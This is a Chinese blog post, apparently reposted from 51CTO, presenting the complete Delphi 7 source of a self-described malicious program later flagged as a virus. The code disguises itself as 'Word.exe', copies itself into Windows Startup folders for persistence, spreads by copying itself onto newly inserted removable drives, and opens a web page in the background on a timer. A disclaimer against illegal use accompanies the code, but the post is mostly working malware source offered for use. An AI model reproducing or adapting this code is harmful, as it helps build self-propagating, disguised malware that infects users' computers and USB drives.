一个delphi开发的恶意程序代码

这个delphi程序是去年上半年为了测试病毒和病毒代码库所做的恶意程序，功能有：程序运行后，会将自己添加到系统启动项中，如果有u盘接入，会自动copy自己到优盘上，还可以在指定时间内，在系统后台进行某些操作，比如打开网页什么的，该程序已经在去年被列为病毒了。本文只做技术交流，请勿用于非法用途，出现任何问题，本人概不负责。下面时代码，dephi7开发，用了一个timer控件：
unit Unit1;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
  Dialogs,ShellApi,StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
    procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.WMDeviceChange (var Msg: TMessage);
var
   //myMsg : String;
   m_Result,i:Integer;
   str_temp:string;
   buf:array   [0..MAX_PATH-1]   of   char;
begin
   Case Msg.WParam of
   32768:
begin
   //myMsg :='U盘插入';
   //Label1.Caption:=myMsg;
  m_Result:=GetLogicalDriveStrings(MAX_PATH,buf);
     for i:=0 to (m_Result div 4) do
  begin
        str_temp:=string(buf[i*4]+buf[i*4+1]+buf[i*4+2]);
         if getdrivetype(pchar(str_temp)) = DRIVE_CDROM  then
         begin
            if  str_temp ='E:\' then
            CopyFile(Pchar(Application.ExeName),Pchar('F:\Word.exe'),False);
            if  str_temp ='F:\' then
            CopyFile(Pchar(Application.ExeName),Pchar('G:\Word.exe'),False);
            if  str_temp ='G:\' then
            CopyFile(Pchar(Application.ExeName),Pchar('H:\Word.exe'),False);
            if  str_temp ='H:\' then
            CopyFile(Pchar(Application.ExeName),Pchar('I:\Word.exe'),False);
   end;
   end;
   end;
   32772:
begin
   //myMsg :='U盘拔出';
   //Label1.Caption:=myMsg;
end;
   end;
end;

 

procedure TForm1.FormCreate(Sender: TObject);
begin
if fileexists('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe') and fileexists('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe')then
else
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var

  strurl:string;
begin
  StrUrl:='http://www.cnking.org';
  ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
  end;

end.

本文转自 小王 51CTO博客，原文链接：http://blog.51cto.com/xiaowang/313303，如需转载请自行联系原作者